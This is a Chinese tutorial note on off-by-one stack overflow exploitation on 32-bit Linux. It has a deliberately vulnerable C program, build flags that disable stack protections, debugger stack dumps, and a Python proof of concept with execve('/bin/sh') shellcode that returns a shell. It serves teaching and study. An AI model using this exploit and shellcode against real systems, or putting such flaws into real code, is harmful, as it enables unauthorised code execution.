1. 程式人生 > >Linux漏洞分析入門筆記-Off-By-One(棧)

Linux漏洞分析入門筆記-Off-By-One(棧)

ubuntu-16.04.5(X86)

IDA7.0

0x00.漏洞描述

1.什麼是off by one?又稱1位元組溢位。

源字串長度等於目標緩衝區長度時,將源字串複製到目標緩衝區可能會導致off by one。

當源字串長度等於目標緩衝區長度時,NULL位元組將被複制到目標緩衝區上方。這裡由於目標緩衝區位於堆疊中,所以單個NULL位元組可以覆蓋儲存在堆疊中的呼叫者的EBP的最低位(1位元組),這可能導致任意的程式碼執行。

0x01.漏洞分析

1.示例程式碼:

 1 #include <stdio.h>
 2 #include <string.h>
 3 void
foo(char* arg); 4 void bar(char* arg); 5 void foo(char* arg) { 6 bar(arg); /* [1] */ 7 } 8 void bar(char* arg) { 9 char buf[256]; 10 strcpy(buf, arg); /* [2] */ 11 } 12 int main(int argc, char *argv[]) { 13 if(strlen(argv[1])>256) { /* [3] */ 14 printf("Attempted Buffer Overflow\n"); 15 fflush(stdout);
16 return -1; 17 } 18 foo(argv[1]); /* [4] */ 19 return 0; 20 }

編譯生成目標檔案:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

上述示例程式碼的第[2]行是可能發生off by one溢位的地方。目標緩衝區長度為256,因此長度為256位元組的源字串可能導致任意程式碼執行。

2.如何產生任意程式碼執行?動態除錯,如下圖1所示,拷貝字串前棧情況。

          圖1

如果呼叫foo者的EBP位於目標緩衝區之上,則在strcpy之後,單個NULL(0x00)位元組將覆蓋呼叫者EBP的最後一個位元組,如圖2所示。

          圖2

構造poc

//偏移

0xBFFFEF00-0xBFFFEE58+0x4=0xAC

python -c "print 'A' * 172 + 'B' * 4 + 'C' * 80"

執行strcpy之後,儲存在目標緩衝區buf之上的EBP被一個NULL(0x00)位元組所覆蓋,ebp從0xBFFFEF64變為0xBFFFEF00(可對比圖1圖2)。從偵錯程式堆疊佈局我們可以看到堆疊位置0xBFFFEF00是目標緩衝區buf的一部分。

//拷貝前棧
BFFFEE58  F63D4E2E  
BFFFEE5C  B7E0CF12  libc_2.23.so:B7E0C
BFFFEE60  000008EA  
BFFFEE64  B7E16618  libc_2.23.so:B7E16
BFFFEE68  B7E15DC8  libc_2.23.so:B7E15
BFFFEE6C  07B1EA71  
BFFFEE70  B7FF7AC4  ld_2.23.so:__get_c
BFFFEE74  BFFFEF20  [stack]:BFFFEF20
BFFFEE78  B7FF59F3  ld_2.23.so:__get_c
BFFFEE7C  B7FD5470  debug003:B7FD5470
BFFFEE80  00000000  
BFFFEE84  00000000  
BFFFEE88  B7FFF000  ld_2.23.so:B7FFF00
BFFFEE8C  B7FFFC08  ld_2.23.so:_r_debu
BFFFEE90  00000000  
BFFFEE94  00000000  
BFFFEE98  00000000  
BFFFEE9C  BFFFEF2C  [stack]:BFFFEF2C
BFFFEEA0  B7FE3FC9  ld_2.23.so:_dl_rtl
BFFFEEA4  00000000  
BFFFEEA8  B7FFFAD0  ld_2.23.so:_r_debu
BFFFEEAC  BFFFEF28  [stack]:BFFFEF28
BFFFEEB0  BFFFEF70  [stack]:BFFFEF70
BFFFEEB4  B7FE4B4B  ld_2.23.so:_dl_rtl
BFFFEEB8  08048220  LOAD:08048220
BFFFEEBC  BFFFEF28  [stack]:BFFFEF28
BFFFEEC0  B7FFFA74  ld_2.23.so:_r_debu
BFFFEEC4  00000001  
BFFFEEC8  B7FD54A0  debug003:B7FD54A0
BFFFEECC  00000001  
BFFFEED0  00000000  
BFFFEED4  00000001  
BFFFEED8  B7FFF918  ld_2.23.so:_r_debu
BFFFEEDC  00F0B5FF  
BFFFEEE0  BFFFEF1E  [stack]:BFFFEF1E
BFFFEEE4  00000001  
BFFFEEE8  000000C2  
BFFFEEEC  B7E996BB  libc_2.23.so:strer
BFFFEEF0  BFFFEF1E  [stack]:BFFFEF1E
BFFFEEF4  BFFFF020  [stack]:BFFFF020
BFFFEEF8  000000E0  
BFFFEEFC  00000000  
BFFFEF00  B7FFF000  ld_2.23.so:B7FFF00
BFFFEF04  B7FFF918  ld_2.23.so:_r_debu
BFFFEF08  BFFFEF20  [stack]:BFFFEF20
BFFFEF0C  08048293  LOAD:aLibcStartMai
BFFFEF10  00000000  
BFFFEF14  BFFFEFB4  [stack]:BFFFEFB4
BFFFEF18  B7FBB000  libc_2.23.so:B7FBB
BFFFEF1C  0000FF17  
BFFFEF20  FFFFFFFF  
BFFFEF24  0000002F  
BFFFEF28  B7E15DC8  libc_2.23.so:B7E15
BFFFEF2C  B7FD51B0  debug003:B7FD51B0
BFFFEF30  00008000  
BFFFEF34  08049FF4  .got.plt:_GLOBAL_O
BFFFEF38  00000002  
BFFFEF3C  08048341  _init_proc+29
BFFFEF40  00000002  
BFFFEF44  00000000  
BFFFEF48  08049FF4  .got.plt:_GLOBAL_O
BFFFEF4C  08048531  __libc_csu_init+21
BFFFEF50  B7FBB000  libc_2.23.so:B7FBB
BFFFEF54  B7FBB000  libc_2.23.so:B7FBB
BFFFEF58  BFFFEF64  [stack]:BFFFEF64
BFFFEF5C  08048475  foo+11
BFFFEF60  BFFFF20D  [stack]:BFFFF20D
BFFFEF64  BFFFEF78  [stack]:BFFFEF78
BFFFEF68  080484F9  main+62
BFFFEF6C  BFFFF20D  [stack]:BFFFF20D
//拷貝後棧
BFFFEE58  41414141  
BFFFEE5C  41414141  
BFFFEE60  41414141  
BFFFEE64  41414141  
BFFFEE68  41414141  
BFFFEE6C  41414141  
BFFFEE70  41414141  
BFFFEE74  41414141  
BFFFEE78  41414141  
BFFFEE7C  41414141  
BFFFEE80  41414141  
BFFFEE84  41414141  
BFFFEE88  41414141  
BFFFEE8C  41414141  
BFFFEE90  41414141  
BFFFEE94  41414141  
BFFFEE98  41414141  
BFFFEE9C  41414141  
BFFFEEA0  41414141  
BFFFEEA4  41414141  
BFFFEEA8  41414141  
BFFFEEAC  41414141  
BFFFEEB0  41414141  
BFFFEEB4  41414141  
BFFFEEB8  41414141  
BFFFEEBC  41414141  
BFFFEEC0  41414141  
BFFFEEC4  41414141  
BFFFEEC8  41414141  
BFFFEECC  41414141  
BFFFEED0  41414141  
BFFFEED4  41414141  
BFFFEED8  41414141  
BFFFEEDC  41414141  
BFFFEEE0  41414141  
BFFFEEE4  41414141  
BFFFEEE8  41414141  
BFFFEEEC  41414141  
BFFFEEF0  41414141  
BFFFEEF4  41414141  
BFFFEEF8  41414141  
BFFFEEFC  41414141  
BFFFEF00  41414141  
BFFFEF04  42424242  
BFFFEF08  43434343  
BFFFEF0C  43434343  
BFFFEF10  43434343  
BFFFEF14  43434343  
BFFFEF18  43434343  
BFFFEF1C  43434343  
BFFFEF20  43434343  
BFFFEF24  43434343  
BFFFEF28  43434343  
BFFFEF2C  43434343  
BFFFEF30  43434343  
BFFFEF34  43434343  
BFFFEF38  43434343  
BFFFEF3C  43434343  
BFFFEF40  43434343  
BFFFEF44  43434343  
BFFFEF48  43434343  
BFFFEF4C  43434343  
BFFFEF50  43434343  
BFFFEF54  43434343  
BFFFEF58  BFFFEF00  [stack]:BFFFEF00
BFFFEF5C  08048475  foo+11
BFFFEF60  BFFFF20D  [stack]:BFFFF20D
BFFFEF64  BFFFEF78  [stack]:BFFFEF78
BFFFEF68  080484F9  main+62
BFFFEF6C  BFFFF20D  [stack]:BFFFF20D

3.根據棧回溯,可以控制這個堆疊位置(0xBFFFEF00),因此他控制指令指標(eip )使用他可以實現任意程式碼執行,如圖3圖4。

          圖3

          圖4

leave指令相當執行了兩條指令 mov ebp, esp; pop ebp,而EPB後面剛好是函式返回地址,再執行ret指令時EIP就指向了攻擊者可以控制返回地址。

4.Poc編寫獲取shell

 1 #!/usr/bin/env python
 2 import struct
 3 from subprocess import call
 4 #execve(/bin/sh)
 5 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
 6 ret_addr = 0xBFFFEF18
 7 def conv(num):
 8 return struct.pack("<I",num)
 9 buf = "A" * 172
10 buf += conv(ret_addr)
11 buf += "\x90" * 30
12 buf += shellcode
13 buf += "\x90" * 22
14 print "Calling  program"
15 call(["./vuln", buf])

          圖5

圖5所示,成功獲取shell。

0x02.總結

1.如果堆疊是隨機的就不能成功利用,每次大小都是不一樣的,很難固定shellcode的位置,所以關閉了ASLR。還有就是被溢位的地址必須得是buf的地址才能有機會成功。